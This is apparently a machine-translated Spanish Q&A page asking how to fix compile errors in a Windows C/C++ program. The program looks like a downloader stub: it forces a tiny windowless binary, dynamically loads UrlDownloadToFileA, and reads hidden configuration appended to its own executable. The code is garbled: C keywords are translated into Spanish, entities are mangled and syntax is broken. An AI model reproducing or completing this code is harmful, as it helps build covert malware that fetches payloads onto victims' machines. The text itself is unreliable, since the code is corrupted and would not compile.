Red de conocimiento informático - Conocimiento informático - Cómo solucionar el error al compilar el siguiente código

Cómo solucionar el error al compilar el siguiente código

#include lt;stdio.hgt;

#include lt;shlwapi.hgt;

#includelt;wininet.hgt;

#pragma comentario(lib, "wininet.lib")

#pragma comentario(lib, "shlwapi.lib")

#pragma comentario(lib, "MSVCRT.lib" )

#pragma comment (lib, "Urlmon.lib")

#pragma comment(linker, "/OPT: NOWIN98") //Descomenta estas líneas y compila el archivo de salida tiene solo 2K de tamaño

#pragma comment(linker, "/align: 0x200")

#pragma comment(linker, "/subsystem: windows")

#pragma comment(enlazador, "/ENTRY: ProcEntry /FILEALIGN: 0x200 /MERGE: .data=.text /MERGE: .rdata=.text CTION: .text, EWR /IGNORE: 4078")

#include lt;time.hgt;

#include lt;winsock.hgt;

#include lt;stdlib.hgt;

#include lt ;Wininet.hgt;

#includelt;Aclapi.hgt;

#include lt;io.hgt;

#pragma comment(lib, "Wininet . lib")

#pragma comment(lib, "ws2_32")

DWORD(WINAPI *DOWNFILE) (LPCTSTR, LPCTSTR, LPCTSTR, DWORD, LPCTSTR); //Carga dinámica UrlDownloadToFileA función en Urlmon.dll

HINSTANCE hurlmon;

int memfind(const char *mem, const char *str, int sizem, int tamaños)

{

int da, i, j;

if (tamaños == 0) da = strlen(str);

else da = tamaños

p>

para (i = 0; i lt; sizem; i)

{

para (j = 0; j lt; da; j)

if (mem[i j] != str[j]) break

if (j == da) return i;

devolver -1

}

#define MAX_CONFIG_LEN 500

LPCTSTR FindCon

figString( LPCTSTR lpString)//Encuentra la información de configuración al final del archivo

{

char strFileName[MAX_PATH];

char *lpConfigString = NULL ;

DWORD dwBytesRead = 0;

GetModuleFileName(0, strFileName, sizeof(strFileName));

HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

if (hFile == INVALID_HANDLE_VALUE)

{

devuelve NULL;

}

SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);

lpConfigString = nuevo carácter[MAX_CONFIG_LEN];

ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, amp; dwBytesRead, NULL) ;

CloseHandle(hFile);

int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);

if (offset == -1)

{

eliminar lpConfigString;

devolver NULL

}

else

{

devuelve el desplazamiento de lpConfigString;

}

}